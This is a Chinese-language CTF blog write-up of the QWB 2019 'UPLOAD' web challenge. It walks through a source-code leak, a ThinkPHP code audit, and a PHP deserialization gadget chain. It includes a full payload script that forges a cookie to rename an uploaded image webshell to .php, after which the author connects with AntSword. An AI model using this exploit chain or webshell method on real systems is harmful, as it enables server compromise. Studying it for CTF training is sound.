反序列化(強網杯2019—UPLOAD)

反序列化(強網杯2019—UPLOAD)

前言

這裏主要是復現一下強網杯2019web的第一題,UPLOAD。這是一道反序列化的題,反正我覺得挺難的,當時已經鎖定了反序列化的方向也沒能完成…

感謝大佬提供的復現環境:https://github.com/CTFTraining/qwb_2019_upload

UPLOAD

進入靶場後首先是一個登陸註冊頁面
1
這裏很自然的要想到有沒有注入,簡單的萬能密碼試了下不行,那就先接着往下走

這裏我們先註冊一個賬號,登陸成功後我們看到文件上傳的地方
2
要求上傳img,題目名也叫upload,這裏我們肯定是要來嘗試文件上傳漏洞的

我們直接上傳一句話木馬,發現返回禁止類型
3
這裏用截斷,burp改類型都不行

上傳一個加了一句話馬的jpg文件,發現可以上傳成功
4
這裏那個假裝這裏是一個聊天框也引起很多遐想啊,考慮會不會有xss
5
這裏我們再來看上傳成功的圖片,可以看到文件名是變成了md5值,後綴變成了.png,然後上傳成功之後就不能再繼續上傳,想再上傳就要重新註冊賬號了。

因爲我們上傳了一個帶一句話馬的圖片,這時候我們肯定還是希望有文件包含漏洞,這樣就直接get shell了,但強網杯畢竟是強網杯,當然沒有文件包含漏洞利用了…

這時候再想,看到標題是Discuz,直接找Discuz。但事實證明這並不是一個Discuz的框架,不要被它寫的所迷惑了

後面發現這道題存在源碼泄漏,怎麼發現源碼泄漏也是很神奇的,因爲另一道web題(和這道題一起放出的另一道題)是源碼泄漏提示下載www.tar.gz 文件,在本題發現也可以下載到。

這樣我們就獲得了源碼發現是ThinkPHP的框架

因爲ThinkPHP今年是爆過漏洞的,但後面嘗試漏洞條件不存在(後面有道福利題是利用ThinkPHP漏洞)

這時候我們要做的就是代碼審計了

後面分析會發現最重要就只有4個文件,但當時思維還是陷在了文件上傳中,當時最先考慮的是存不存在條件競爭(我也是第一次聽說條件競爭),但後面嘗試是沒有條件競爭的,雖然上傳過程中有臨時文件,但臨時文件是已.tmp結尾依舊不行

最後是代碼審計發現了可疑的反序列化,我看別人的writeup說存在 .idea 目錄用PHPStorm打開可以看到兩個斷點,其中一個就是斷在了反序列化那裏,另一個定義在了析構函數函數那裏(大佬也說析構函數很重要,因爲最後對象被回收一定會調用)

當時將目標鎖定在了反序列化後依舊沒有做出來,因爲不會構造…

大佬後面講的時候,說這種框架反序例化,可以直接去找有沒有爆出的反序列化鏈,然後Thinkphp是一個國產框架,信息並不是很多,所以最後還是要自己找

首先我們看反序列化的地方,可以看到這裏反序列化的地方並沒有對傳入值有檢驗,所以是可能存在反序列化漏洞的
6
因爲反序列漏洞是和魔法函數掛鉤的,我們再來找存在的魔法函數

一個是有斷點的析構函數
7
還存在_get和_call兩個函數
8
這時候我們需要結合程序的整體流程來進行一下分析

index.php是一個索引界面,我們請求過去後,反序例化我們傳過去的對象來檢查是否登陸

在Register.php的析構函數中,主要想判斷是否註冊成功,沒成功調用index方法

Profile.php中的_call和_get方法分別是在調用不可調用方法和不可調用成員變量時怎麼做

這時候我們通過call去調用upload_img方法,通過控制傳參來調用copy將png圖片拷貝爲php文件

所以我們這裏利用析構函數來構造,將cheeker構造爲profile對象,調用起index的時候,調用了不存在的方法所以觸發,

這時候我們來payload腳本(這裏是直接參考大佬寫的,php確實還是不怎麼會,改下參數)

<?php
namespace app\web\controller;

class Profile
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;


    public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

}

class Register
{
    public $checker;
    public $registed;

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }

}

$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "../public/upload/da5703ef349c8b4ca65880a05514ff89/e6e9c48368752b260914a910be904257.png";
$profile->filename = "../public/upload/da5703ef349c8b4ca65880a05514ff89/e6e9c48368752b260914a910be904257.php";

$register = new Register();
$register->registed = false;
$register->checker = $profile;

echo urlencode(base64_encode(serialize($register)));

生成的cookie用去替換已有的cookie,然後刷新,再去問問原來圖片的文件夾
9
可以看到原來的png已經變爲了php文件

這時候蟻劍去鏈接,發現成功鏈接上
10
最後通過文件管理找到cookie
11

總結

復現了一遍之後感覺還是有點懵懂,對反序列化的理解感覺還是不到位,最主要代碼功底也不行

反序列化不僅php有,java,python都有,大佬也說到python的反序列化漏洞是非常嚴重的,後面在結合python和反序列化的基礎知識和別的題目再來加深理解吧。

參考

  1. 2019 第三屆強網杯 Web 部分 WriteUp + 復現環境
  2. 代碼審計| CTF 中的反序列化問題
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章